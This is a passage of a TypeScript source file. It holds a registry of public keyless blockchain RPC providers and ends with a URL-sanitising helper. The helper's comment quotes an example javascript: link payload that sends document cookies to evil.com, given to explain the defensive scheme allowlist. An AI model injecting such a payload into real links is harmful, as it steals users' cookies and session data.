    url: "https://near.org",
    description:
      "Official NEAR Foundation public mainnet RPC endpoint (rpc.mainnet.near.org). Provides JSON-RPC access to the NEAR Protocol without an API key.",
    twitter: "@NEARProtocol",
  },
  fastnear: {
    url: "https://fastnear.com",
    description:
      "FastNEAR is a high-performance NEAR Protocol RPC service offering a free public tier at free.rpc.fastnear.com, no API key required.",
    twitter: "@fastnear",
  },
  // ─── Flow providers (bench 217) ──────────────────────────────────
  onflow: {
    url: "https://flow.com",
    description:
      "Flow Foundation official public REST access node (rest-mainnet.onflow.org). Provides the Cadence REST API for block queries without an API key.",
    twitter: "@flow_blockchain",
  },
  "flow-access": {
    url: "https://flow.com",
    description:
      "Flow Foundation public access node (access.mainnet.nodes.onflow.org) exposing the Cadence REST API for sealed block queries, no API key required.",
    twitter: "@flow_blockchain",
    parent: "onflow",
  },
  // ─── Hedera providers (bench 218) ────────────────────────────────
  hashio: {
    url: "https://swirldslabs.com/hashio",
    description:
      "Hashio is a free public EVM-compatible JSON-RPC gateway for Hedera Hashgraph, operated by Swirlds Labs. No API key required; supports standard Ethereum JSON-RPC 2.0 methods.",
    twitter: "@SwirldsLabs",
  },
  // ─── CKB providers (bench 219) ───────────────────────────────────
  "ckb-dev": {
    url: "https://nervos.org",
    description:
      "Nervos Foundation official CKB mainnet public RPC node (mainnet.ckb.dev/rpc). Provides JSON-RPC access to the Nervos CKB Layer 1 without an API key.",
    twitter: "@NervosNetwork",
  },
  ckbapp: {
    url: "https://ckbapp.dev",
    description:
      "CKBapp community-operated Nervos CKB mainnet public RPC node (mainnet.ckbapp.dev/rpc). Provides JSON-RPC access without an API key.",
  },
  // ─── MultiversX providers (bench 220) ────────────────────────────
  "mvx-gateway": {
    url: "https://multiversx.com",
    description:
      "MultiversX Foundation official gateway node (gateway.multiversx.com). Provides public REST API access to MultiversX blockchain data including metachain network status, no API key required.",
    twitter: "@MultiversX",
  },
  "mvx-api": {
    url: "https://api.multiversx.com",
    description:
      "MultiversX Foundation official API service (api.multiversx.com). Exposes REST endpoints including network status for indexer and gateway queries without an API key.",
    twitter: "@MultiversX",
    parent: "mvx-gateway",
  },
  // ─── NEO N3 providers (bench 221) ────────────────────────────────
  nspcc: {
    url: "https://nspcc.ru",
    description:
      "NSPCC (Russian National Crypto Standard Committee) operates a public NEO N3 mainnet RPC node at rpc10.n3.nspcc.ru:10331. No API key required.",
  },
  ngd: {
    url: "https://neo.org",
    description:
      "Neo Global Development (NGD) operates public NEO N3 mainnet seed nodes (n3seed1.ngd.network:10332). No API key required.",
    twitter: "@Neo_Blockchain",
  },
  ngd2: {
    url: "https://neo.org",
    description:
      "Neo Global Development (NGD) seed node 2 (n3seed2.ngd.network:10332) for NEO N3 mainnet. No API key required.",
    twitter: "@Neo_Blockchain",
    parent: "ngd",
  },

  // ─── Tezos providers (bench 222) ──────────────────────────────
  ecadinfra: {
    url: "https://ecadinfra.com",
    description:
      "ECADinfra operates a public Tezos mainnet node (mainnet.ecadinfra.com). Provides the Tezos RPC API without an API key.",
  },
  tzbeta: {
    url: "https://tzbeta.net",
    description:
      "TzBeta public Tezos mainnet RPC node (rpc.tzbeta.net). Free community-run Tezos RPC endpoint, no API key required.",
  },
  tzkt: {
    url: "https://tzkt.io",
    description:
      "TzKT is a Tezos blockchain explorer and API by Baking Bad. Operates a public mainnet RPC node (rpc.tzkt.io/mainnet) in addition to its indexer API.",
    twitter: "@TzKT_io",
  },

  // ─── EOS providers (bench 223) ────────────────────────────────
  greymass: {
    url: "https://greymass.com",
    description:
      "Greymass is a block producer and tooling developer for Antelope-based chains (EOS, WAX). Operates public API nodes for EOS and WAX mainnet, no API key required.",
    twitter: "@greymass",
  },
  eosnation: {
    url: "https://eosnation.io",
    description:
      "EOS Nation is a block producer for EOS. Operates a public EOS mainnet API node (eos.api.eosnation.io), no API key required.",
    twitter: "@EOS_Nation",
  },
  alohaeos: {
    url: "https://www.alohaeos.com",
    description:
      "Aloha EOS is a block producer for EOS. Operates a public EOS mainnet API node (api.main.alohaeos.com), no API key required.",
    twitter: "@AlohaEOS",
  },

  // ─── VeChain providers (bench 224) ────────────────────────────
  "vechain-foundation": {
    url: "https://vechain.org",
    description:
      "VeChain Foundation official public mainnet node (mainnet.vechain.org). Provides the VeChain RESTful API without an API key.",
    twitter: "@vechainofficial",
  },
  "vethor-node": {
    url: "https://vechain.org",
    description:
      "VeChain Foundation public node (vethor-node.vechain.com). An additional official mainnet endpoint exposing the VeChain REST API, no API key required.",
    twitter: "@vechainofficial",
    parent: "vechain-foundation",
  },
  "vechain-energy": {
    url: "https://vechain.energy",
    description:
      "VeChain.energy community infrastructure for VeChain. Operates a public mainnet node (node-mainnet.vechain.energy) with the VeChain REST API, no key required.",
    twitter: "@vechain_energy",
  },

  // ─── Waves providers (bench 225) ──────────────────────────────
  wavesnodes: {
    url: "https://wavesnodes.com",
    description:
      "Wavesnodes.com community-operated public Waves mainnet node (nodes.wavesnodes.com). Provides the Waves REST API without an API key.",
  },
  "wx-network": {
    url: "https://wx.network",
    description:
      "WX Network (formerly Waves Exchange) operates a public Waves mainnet node (nodes.wx.network) exposing the Waves REST API, no API key required.",
    twitter: "@wxnetworkio",
  },
  "waves-exchange": {
    url: "https://waves.exchange",
    description:
      "Waves Exchange public mainnet node (nodes.wavesnodes.com). Community Waves node operated by the exchange, no API key required.",
    parent: "wx-network",
  },

  // ─── WAX providers (bench 226) ────────────────────────────────
  eosusa: {
    url: "https://eosusa.io",
    description:
      "EOSUSA is a block producer operating on multiple Antelope chains. Provides a public WAX mainnet API node (wax.eosusa.io), no API key required.",
    twitter: "@eosusa_io",
  },
  waxsweden: {
    url: "https://waxsweden.org",
    description:
      "WAX Sweden is a WAX guild (block producer). Operates a public WAX mainnet API node (wax.eu.eosamsterdam.net), no API key required.",
    twitter: "@waxsweden",
  },

  // ─── Neon EVM providers (bench 227) ───────────────────────────
  "neon-p2p": {
    url: "https://p2p.org",
    description:
      "P2P.org operates a public Neon EVM mainnet proxy (neon-proxy-mainnet.solana.p2p.org). Provides a standard EVM JSON-RPC interface for Neon EVM, no API key required.",
    twitter: "@p2pvalidator",
  },
  everstake: {
    url: "https://everstake.one",
    description:
      "Everstake is a staking provider that also runs public RPC infrastructure. Operates a public Neon EVM mainnet node (neon-mainnet.everstake.one), no API key required.",
    twitter: "@everstake_pool",
  },

  // ─── Merlin Chain providers (bench 228) ───────────────────────
  "merlin-official": {
    url: "https://merlinchain.io",
    description:
      "Merlin Chain official public EVM RPC node (rpc.merlinchain.io). Provides standard Ethereum JSON-RPC for the Merlin Chain Bitcoin L2, no API key required.",
    twitter: "@MerlinLayer2",
  },
  blockpi: {
    url: "https://blockpi.io",
    description:
      "BlockPI multi-chain RPC provider offering public keyless endpoints across many EVM chains. Merlin Chain public endpoint: merlin.blockpi.network/v1/rpc/public.",
    twitter: "@RealBlockPI",
  },

  // ─── Viction providers (bench 229) ────────────────────────────
  "viction-official": {
    url: "https://viction.xyz",
    description:
      "Viction (formerly TomoChain) official public EVM RPC node (rpc.viction.xyz). Provides standard Ethereum JSON-RPC for the Viction L1, no API key required.",
    twitter: "@BuildOnViction",
  },
  "viction-rpc2": {
    url: "https://viction.xyz",
    description:
      "Viction secondary public EVM RPC node (rpc2.viction.xyz). Redundant endpoint operated by the Viction foundation, no API key required.",
    twitter: "@BuildOnViction",
  },

  // ─── ThunderCore providers (bench 230) ────────────────────────
  "thundercore-official": {
    url: "https://www.thundercore.com",
    description:
      "ThunderCore official public EVM RPC node (mainnet-rpc.thundercore.com). Provides standard Ethereum JSON-RPC for ThunderCore mainnet, no API key required.",
    twitter: "@ThunderProtocol",
  },
  thundertoken: {
    url: "https://www.thundercore.com",
    description:
      "ThunderToken public EVM RPC node (mainnet-rpc.thundertoken.net). Alternative keyless endpoint for ThunderCore mainnet operated by the ThunderToken project.",
    twitter: "@ThunderProtocol",
  },

  // ─── Tezos providers (bench 222) ────────────────────────────
  smartpy: {
    url: "https://smartpy.io",
    description:
      "SmartPy public Tezos mainnet RPC node (mainnet.smartpy.io). Open-source Tezos development toolkit; the public node is operated alongside their IDE and testing tools.",
    twitter: "@SmartPy_io",
  },
  tcinfra: {
    url: "https://tcinfra.net",
    description:
      "TCInfra RPC node provider for Tezos and Etherlink (prod.tcinfra.net/rpc/mainnet). Provides public keyless Tezos mainnet REST access with no API key required.",
  },

  // ─── Bitcoin Cash providers (bench 244) ──────────────────────
  bitcore: {
    url: "https://bitcore.io",
    description:
      "Bitcore is an open-source platform by Bitpay for building Bitcoin and Bitcoin Cash applications. Its public REST API exposes chain info, blocks and transactions for BCH mainnet without an API key.",
    twitter: "@BitPay",
  },
  biggestfan: {
    url: "https://rest1.biggestfan.net",
    description:
      "BiggestFan is a community-run public BCHN full node providing a keyless REST API for Bitcoin Cash mainnet. It exposes chain info via a getBlockchainInfo endpoint compatible with the standard Bitcoin RPC response shape.",
  },

  // ─── Zcash providers (bench 236) ─────────────────────────────
  blockchair: {
    url: "https://blockchair.com",
    description:
      "Blockchair is a multi-chain blockchain explorer and REST API supporting Bitcoin, Ethereum, Zcash and 40+ other chains. Provides public keyless access to chain stats, blocks and transactions.",
    twitter: "@Blockchair",
  },

  // ─── Dogecoin providers (bench 235) ──────────────────────────
  blockcypher: {
    url: "https://blockcypher.com",
    description:
      "BlockCypher is a blockchain API platform supporting Bitcoin, Litecoin, Dogecoin and Ethereum. Provides a public REST API for chain info, transactions and addresses, no API key required for basic queries.",
    twitter: "@BlockCypher",
  },

  // ─── OKTC providers (bench 231) ───────────────────────────────
  "oktc-official": {
    url: "https://www.okx.com/oktc",
    description:
      "OKX Chain (OKTC) official public EVM RPC node (exchainrpc.okex.org). Provides standard Ethereum JSON-RPC for OKX Token Chain mainnet, no API key required.",
    twitter: "@OKXOfficial",
  },

  // ─── Litecoin providers (bench 246) ──────────────────────────
  litecoinspace: {
    url: "https://litecoinspace.org",
    description:
      "LitecoinSpace is a Litecoin block explorer built on the Esplora API. Exposes the current tip height at /api/blocks/tip/height as a plain integer, no API key required.",
  },

  // ─── Interlay providers (bench 249) ──────────────────────────
  "interlay-official": {
    url: "https://api.interlay.io/parachain",
    description:
      "Interlay official public Substrate RPC node (api.interlay.io/parachain). Provides a keyless Substrate JSON-RPC interface for the Interlay parachain on Polkadot.",
    twitter: "@InterlayHQ",
  },

  // ─── Acala providers (bench 248) ──────────────────────────
  "acala-rpc0": {
    url: "https://acala-rpc-0.aca-api.network",
    description:
      "Acala official public RPC node 0 (acala-rpc-0.aca-api.network). Keyless Substrate JSON-RPC interface for the Acala DeFi parachain on Polkadot.",
    twitter: "@AcalaNetwork",
  },
  "acala-rpc2": {
    url: "https://acala-rpc-2.aca-api.network",
    description:
      "Acala official public RPC node 2 (acala-rpc-2.aca-api.network). Keyless Substrate JSON-RPC interface for the Acala DeFi parachain on Polkadot.",
    twitter: "@AcalaNetwork",
  },

  // ─── Chihuahua providers (bench 250) ─────────────────────────────────
  "chihuahua-official": {
    url: "https://rpc.chihuahua.wtf",
    description:
      "Chihuahua official public Tendermint RPC node. Keyless endpoint for the Chihuahua Cosmos SDK chain.",
    twitter: "@ChihuahuaChain",
  },
  validatus: {
    url: "https://github.com/validatus",
    description:
      "Validatus public Cosmos RPC infrastructure. Provides keyless Tendermint RPC endpoints for multiple Cosmos SDK chains.",
  },

  // ─── Cosmos Directory (shared across benches 251-252) ────────────────
  "cosmos-directory": {
    url: "https://cosmos.directory",
    description:
      "Cosmos Directory public RPC proxy. Aggregates Tendermint RPC endpoints across the Cosmos ecosystem, no API key required.",
  },

  // ─── Fetch.ai providers (bench 252) ──────────────────────────────────
  "fetchai-official": {
    url: "https://rpc-fetchhub.fetch.ai",
    description:
      "Fetch.ai official public Tendermint RPC node for the FetchHub-4 mainnet. Keyless endpoint maintained by the Fetch.ai / ASI Alliance team.",
    twitter: "@Fetch_ai",
  },

  // ─── Shentu providers (bench 254) ────────────────────────────────────
  "shentu-official": {
    url: "https://www.shentu.technology",
    description:
      "Shentu Chain official public Tendermint RPC node for the shentu-2.2 mainnet. Keyless endpoint maintained by the CertiK / Shentu Foundation team.",
    twitter: "@ShentuChain",
  },

  // ─── MANTRA Chain providers (bench 255) ──────────────────────────────
  "mantrachain-official": {
    url: "https://www.mantrachain.io",
    description:
      "MANTRA Chain official public Tendermint RPC node for the mantra-1 mainnet. Keyless endpoint for real-world asset tokenization on Cosmos.",
    twitter: "@MANTRA_Chain",
  },
  itrocket: {
    url: "https://itrocket.net",
    description:
      "ITRocket community validator and public RPC operator. Provides keyless Tendermint RPC endpoints for multiple Cosmos SDK chains.",
    twitter: "@ITRocketTeam",
  },


  // ─── Band Protocol providers (bench 256) ────────────────────────────
  "band-official": {
    url: "https://www.bandprotocol.com",
    description:
      "Band Protocol official public Tendermint RPC node for the laozi-mainnet. Keyless endpoint maintained by the Band Protocol team.",
    twitter: "@BandProtocol",
  },
  stakewolle: {
    url: "https://stakewolle.com",
    description:
      "Stakewolle community validator and public RPC provider. Runs keyless Tendermint RPC endpoints for multiple Cosmos SDK chains.",
    twitter: "@stakewolle",
  },

  // ─── cheqd providers (bench 257) ─────────────────────────────────────
  "cheqd-official": {
    url: "https://cheqd.io",
    description:
      "cheqd official public Tendermint RPC node for cheqd-mainnet-1. Keyless endpoint maintained by the cheqd Network team.",
    twitter: "@cheqd_io",
  },
  nodestake: {
    url: "https://nodestake.org",
    description:
      "NodeStake community validator and public RPC operator. Provides keyless Tendermint RPC endpoints for multiple Cosmos SDK chains.",
    twitter: "@NodeStake",
  },


  // ─── Union providers (bench 253) ─────────────────────────────────────
  "nodes-guru": {
    url: "https://nodes.guru",
    description:
      "Nodes.Guru community validator and public RPC operator. Runs keyless Tendermint RPC endpoints for multiple Cosmos SDK chains including Union.",
    twitter: "@nodes_guru",
  },
  stakeandrelax: {
    url: "https://stakeandrelax.net",
    description:
      "Stake And Relax community validator providing public keyless Tendermint RPC for Cosmos SDK chains including Union.",
    twitter: "@StakeAndRelax",
  },
  highstakes: {
    url: "https://highstakes.ch",
    description:
      "High Stakes Swiss validator and public RPC operator. Provides keyless Tendermint RPC endpoints for multiple Cosmos SDK chains including Union.",
    twitter: "@HighStakesCH",
  },
};

/**
 * Scheme allowlist for any registry URL that ends up in an `<a href>` or
 * JSON-LD `sameAs` field. React does not block `javascript:` schemes on
 * `<a>` (it only warns in dev), so a malicious PR could inject
 * `javascript:fetch('//evil.com?'+document.cookie)` and exfiltrate
 * same-origin cookies/localStorage when the link is clicked.
 *
 * Returns the URL when safe, `undefined` when the scheme isn't http(s).
 * Callers should treat undefined as "no link" rather than rendering raw.
 */
export function safeRegistryURL(raw: string | undefined): string | undefined {
  if (!raw) return undefined;
  try {
    const u = new URL(raw);
    if (u.protocol === "http:" || u.protocol === "https:") return raw;
  } catch {
    // not a parseable URL — drop it
  }
  return undefined;
}

export function getProviderRegistry(slug: string): ProviderRegistryEntry | undefined {
  const entry = PROVIDER_REGISTRY[slug.toLowerCase()];
  if (!entry) return undefined;
  // Sanitise every URL-bearing field at the access boundary so render
  // sites don't have to remember to filter.
  return {
    ...entry,
    url: safeRegistryURL(entry.url) ?? "",
    docs: safeRegistryURL(entry.docs),
    github: safeRegistryURL(entry.github),
    blog: safeRegistryURL(entry.blog),
  };
}